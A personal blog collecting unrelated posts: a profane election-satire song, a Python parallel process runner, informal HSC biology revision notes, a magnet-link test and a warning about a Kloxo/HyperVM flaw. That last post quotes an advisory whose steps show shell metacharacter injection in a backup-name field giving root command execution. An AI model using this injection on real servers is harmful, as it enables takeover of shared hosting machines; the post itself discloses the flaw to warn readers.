CryptWizard's Realm

This was fabulous. If you haven’t seen it already, watch it on iView RIGHT NOW!

And so we face election day,
each leader take their stand.
The question is to vote which way,
the future’s in our hands.
We may ponder on their policies
before we hit the booth,
trace through each party’s history,
discern the hidden truth.
Who should we write as number 1,
which canditate should lose?
There’s only one clear answer
when it comes time to choose.

They’re all fucked.
They’re all fucked.
Every single one is fucked.
There’s nobody to vote for ’cause they’re all just fucked.
One’s a ranga born in Wales.
One’s a backward sexist male.
And you wouldn’t vote for Greens,
’cause all the do is fondle whales.

Each [] and every candidate is fucked.
You’ve no voice.
There’s no choice.
Every single one is fucked.
Ignore any disagreeing statistics.
Every one is fucked.
One’ll stab you in the back.
One’s a bible bashing hack.
You’d might as wipe that fucking ballot on your crack.
Every single candidate is fucked.

The majors’ fucked.
The minors’ fucked.
Every single one is fucked.
The futures fucked.
The world is fucked.
All of us are fucked.

I don’t want to fuck your hopes.
But we’d [] a fucking rope.
In fact, we’re even more fucked than those refugees on boats.
Let’s face it: every candidate is fucked.
This one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.
This one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.
And this one’s fucked and this one’s fucked.

Hold on! Hold on!
I’m not anymore.

Yes you are!

Every single candidate is fuccccccccccccccccked…

So apparantly lolWestern Australia (wait what?! Australia has a west?) has some gignormous hole of an electorate that’s the size of Western Europe. Pictures courtesy of SBS and my $20 USB DVB-T Tuner thingo.

#!/usr/bin/env python

# pyGenericParallelQueuer.py by CryptWizard 
# A generic program that launches X number of a certain process at a time, passing different data to the child's stdin
# Example: pyGenericParallelQueuer.py 20 "sslftp user:pass@host:21" < cmds.txt
#
# Inspired by #darkhold@Rizon
# [20/03 11:13:55] <@TheFluff> the box I'm doing this on is in japan and has a funky connection that maxes out at like 500kb/s per connection to the US or europe

import sys, os
from Queue import Queue
from subprocess import Popen, PIPE
from threading import Thread

stdinQueue = Queue(9001)
cmdLine = ''
workingDir = ''

def actualWork(stdin, cmd):
	try:
		#os.chdir(workingDir)
		p = Popen(cmd, stdout=PIPE, stderr=PIPE, stdin=PIPE)
		stdoutdata, stderrdata = p.communicate(stdin)
		print stdoutdata
		#print stderrdata
	except:
		print sys.exc_info()

class RunnerThread(Thread):
	def __init__(self, cmd):
		Thread.__init__(self)
		self.cmd = cmd
		self.daemon = True
	def run(self):
		while True:
			i = stdinQueue.get()
			actualWork(i, self.cmd)
			stdinQueue.task_done()

def main():
	if len(sys.argv) < 2:
		print 'Usage: %s  ""' % sys.argv[0]
		print 'stdin: new line seperated list of stdin values to pass to each child'
		print 'Stops reading at EOF (either redirect from file, or Ctrl + Z on Windows/Ctrl + D on *NIX'

	print 'Simultaneous Processes: ' + sys.argv[1]
	cmdLine = sys.argv[2]
	print 'Command Line: ' + cmdLine
	workingDir = os.getcwd()
	print 'Working Directory: ' + workingDir

	for i in sys.stdin.readlines():
		if i == '':
			break
		stdinQueue.put(i)
	print 'Jobs Queued: %d' % stdinQueue.qsize()

	tpsize = int(sys.argv[1])
	if stdinQueue.qsize() < tpsize:
		tpsize = stdinQueue.qsize()
	print 'Spawning %d threads...' % tpsize

	for i in xrange(tpsize):
		t = RunnerThread(cmdLine)
		t.daemon = True
		t.start()

	print 'Waiting for threads to complete...'
	stdinQueue.join()
	print 'Done!'

if __name__ == '__main__':
	sys.exit(main())

This time I’ll be following the syllabus so it’s not such a huge mess, but still keep in mind “surface area to volume ratio”, “energy conservation” and “water conservation”.

1. Evidence of evolution suggests that the mechanisms of inheritance, accompanied by selection, allow change over many generations

OK. Read that again carefully. The key words this time are “evolution”, “inheritance” and “selection”. Maybe even evidence, but that’s not as important.

Now, 1st column 1st dot point:
Outline the impact on the evolution of plants and animals of: changes in physical conditions in the environment; changes in chemical conditions in the environment; competition for resources.

The directive term outline means to do a brief blog about it without excessive detail or specifics, so here it goes:

Changes in physical conditions in the environment have caused plants and animals that are better adapted to the new conditions will be naturally selected to survive and pass on their characteristics when they reproduce, thus impacting evolution by changing the dominant set of characteristics within the population. (You can just do a search and replace for chemical).

Increased competition for reasources will mean that natural selection will take place and favour the survival of those in the population with characterisitcs that can most efficiently acquire and utilise the available resources. (Insert the bit from above about how it = evolution).

Onto the 2nd column 1st dot point:

Plan, choose equipment or resources and perform a first-hand investigation to model natural selection

You should’ve written up your prac! >:(

Anyway, you have some pieces of paper with 3 different colours and you roll a biased dice X number of times to kill a member of the population. You then go to the reproduction step. Someone has to close their eyes and pick 2 pieces of paper at random. If both are the same colour, and it’s one of the “pure” breeds, then they will produce an offspring that is that colour. If it’s a hybrid + a pure, then you roll for a 1/2 chance (IIRC) of a hybrid and 1/2 chance of a pure. If it’s a hybrid + hybrid, you roll for a 1/4 chance each for a pure and 1/2 chance for a hybrid.

Basically, a certain “pure” colour had a higher chance of death (red, IIRC) because they were supposedly not adapted to the environment.

How will this be asked in the exam? No idea. Just looking through the 2008 paper, it didn’t seem to be there.

Next!

Analyse information from secondary sources to prepare a case study to show how an environmental change can lead to changes in a species

Now this is quite a long blog. Time to break it down by KEY WORDS.

Analyse: That’s sorta like comparing screenshots from encodes. You’ve got to note down and compare the information then make and write down your judgement.

Secondary Sources: Wikip- err… Text books, internet sites, lolscientificjournals, non-Wikipedia Encyclopedias.

Case Study: Take an example and blog down whatever you can about it.

Environmental Change/Chance in Species: In HOLY BRITTANIA they started the lolindustrial revolution, which meant that there’s volumetric fucktons of smoke everywhere, which meant that predators of moths would find it harder to, and hence not bother (unless they were trolls) to, kill the ones whose colour blended in with all that pollutantant. Due to that process of natural selection, more of those smoke-coloured moths survived and reproduced, therefore they become more dominant in the species, therefore there has been an overall change to smokier colours in the species.

Since Biology isn’t lolimpression marked, there’s no need to be original. The typical 99%-of-the-state case study will be fine.

Whew. That was much easier than the Eco case study.

describe, using specific examples, how the theory of evolution is supported by the following areas of study:

- WHATEVER

I doubt they’ll specifically ask for some pretentious obscure one, so we’ll just use the PENTADACTYL LIMB, since once again, there’s no marks for originality. Basically they’re in basically every man and his dog, even birds and fish-like mammals, etc. Each part is slightly modified such that it provides an adaptive advantage in the environment that they live. Example: birds have omega long fingers (phlanges if you want to be pretentious) for A+++++ feather coverage. Don’t forget, of course, to link back to how that = evolution (the usual crap about some trait become more dominant).

You can also say some crap about DNA hybridisation and how humans and apes and summoned beings evolved from the same ancestor.

Next!

Use available evidence to analyse, using a named example, how advances in technology have change scientific thinking about evolutionary relationships.

Oh right, the DNA hybridisation crap was meant to go here. Basically, they take DNA from 2 different species and heat it to over nine thousand kelvins so that the double helix un-whatevers, then they take a strand from each species and cool them together and see how well they bond, and they get a quantitative result. This totally radicalised thinking because it showed that humans were closer to primates than apes (or something).

Back to 1st column.

Explain how Darwin/Wallace’s theory of evolution by natural selection and isolation accounts for divergent evolution and convergent evolution

Divergent evolution means that from a common ancestor, the descendents become less and less alike one another with time because if a population is split and isolated, genes cannot flow, and as such, their evolution will be dependent wholly on the selection pressures in their particular respective environment, causing characteristics favourable in the particular environment to be passed on through the generations (and therefore = evolution, blah blah blah)

As for convergent, no idea. Need to check notes… Dongs. Not there. Need to check HSC Online. Here’s some copy pasta:

Convergent evolution occurs when two relatively unrelated species develop similar structures, physiology or behaviours in response to similar selective pressures from similar environments. For example, dolphins (mammals) and sharks (cartilaginous fish) have evolved a streamlined body shape and fins that enable them to move efficiently through their aquatic environment, yet they are only remotely related as vertebrates. Communal social behaviour has developed independently in ants, termites and bees.

OK. Onto the next section, because I’m SICK of this year 9/10 rehash junk.

2.Gregor Mendel’s experiments helped advance our knowledge of the inheritance of characteristics

Actually, I think we never got to this…

OK, back to maintaining a balance.

Our best friend, the enzyme:

Each type only does 1 think and they’re A++++++++++ good at it. They only do 1 thing, so that your body can micro around all the chemical reactions that are happening (ie. it can affect 1 particular thing by simply changing 1 particular enzyme without directly affecting other stuff).

How does it work?

It’s randomly shaped and the substrate fits exactly in it (lock and key) or it ALMOST fits exactly in, then once it tries to fit, it changes it’s shape a bit to MAKE it exactly fit (induced fit). TBH, the 2nd model is probably more correct, but we don’t care because the first one is easier.

How does various :stuff: affect enzyme activity?

- Temprature +++ = +++, until the point the enzyme gets borked (denatured) at which point it becomes instantly zerox
- pH. Pretty acidic = good for most enzymes. I’m sure there are exceptions, but most likely they’re just gonna give you a graph or something so you can read it right off for a free 1 or 2 marks
- Substrate concentration. Obviously if it’s got more stuff to do, it can do it faster until it reaches 100% CPU utilisation, then it doesn’t get any faster even if it does get more stuff to do.
- Errrr… Forgot the rest. Oh, according to HSC online, that is all. Great!

Now for homeostatis. That thing we all love to hate.

It works on the concept of NEGATIVE FEEDBACK which means that your body acts to oppose whatever change is happening. Eg. if your water levels are getting low, it tries to conserve water. If your energy is getting waste it, it tries to conserve it. (Yes, my magical answers are still relevant!)

You’ll most likely need an example, so I’ll use temperature since I can’t be assed remembering anything else. Basically when temp rises/drops, your fabulous hypothallamus detects the change, then it can send electro-chemical messages through your nervous system at approaching the speed of light, provided you don’t have cistic fibrosis or similar, to your various body parts to take actions to oppose the change. Eg. if you feel hot, you will subconsciously sweat, fan yourself, turn on the air conditioner if you can affort one, etc. If you feel cold, you will feel ever colder because your body directs the blood away from the surface of your skin to keep it’s insides warm. Your hair would also stand up (more noticable in some parts than others ) to trap air, which is a super A+++++++ heat insulator.

You may or may not need/want to know a model, so just think a thermostat. It’s limitations? It can’t adapt to :long term: variations.

Done. Next. Derp, can’t remember what’s next, gonna take a break. Blagging is tiring work.

————

Basically, some article I read on TorrentFreak seems to give me the impression that they’re the best thing since sli- torrents, so I decided to give it a try.

I made a torrent of a small file (< 256 KiB) with uTorrent 1.8.4 and used TorrentSpy to extract the infohash and plugged it into a magnet URI as follows.

magnet:?xt=urn:btih:7e1e4c13d8726730a1982b877c4a310908789b0d (By the way, feel free to (try to) download that to help my testing)

I set uTorrent to seed that torrent and I added the magnet URI to uTorrent on my server.

Currently (30 minutes later), my home laptop and my server have yet to find each other over DHT.

FAIL!

Various News Articles: http://news.google.com.au/news/more?pz=1&ncl=d6m5X8_XmVf0dBMd9MZz5AC4nsc5M&topic=h

My camera phone photo (which is surprisingly higher res than the news ones):

This morning, I woke up to this.

[11:15:39] <@nenolod> #####################################################################
[11:15:39] <@nenolod> # ISSUE #11 - metachar injection, local command execution as root
[11:15:39] <@nenolod> #####################################################################
[11:15:39] <@nenolod> Local users can execute any command(s) of their choice as root via
[11:15:40] <@nenolod> metacharacter injection in the backup initial string.
[11:15:40] <@nenolod> 1. Log into Kloxo
[11:15:41] <@nenolod> 2. Click "Backup Home"
[11:15:41] <@nenolod> 3. In the box titled "Backup File Initial String", enter:
[11:15:42] <@nenolod> ; /bin/touch /tmp/i_am_root ;
[11:15:42] <@nenolod> 4. Click "Backup Now"
[11:15:43] <@nenolod> Observe:
[11:15:43] <@nenolod> [user1@testing574 user1]$ ls -l /tmp/i_am_root
[11:15:44] <@nenolod> -rw-r--r-- 1 root root 0 May 20 21:50 /tmp/i_am_root

So basically the jist of it is.

1. You have a VPS that uses HyperVM (which means close to all VPS companies out there).
2. Someone else on the same HyperVM installation finds out about this.
3. They root the physical box.
4. ???
5. PROFIT! (for the hacker)

I for one have backed up all the (important) shit that I had stored on any HyperVM based VPSes, and I recommend you do the same.

The full vulnerability report is located at http://www.milw0rm.com/exploits/8880.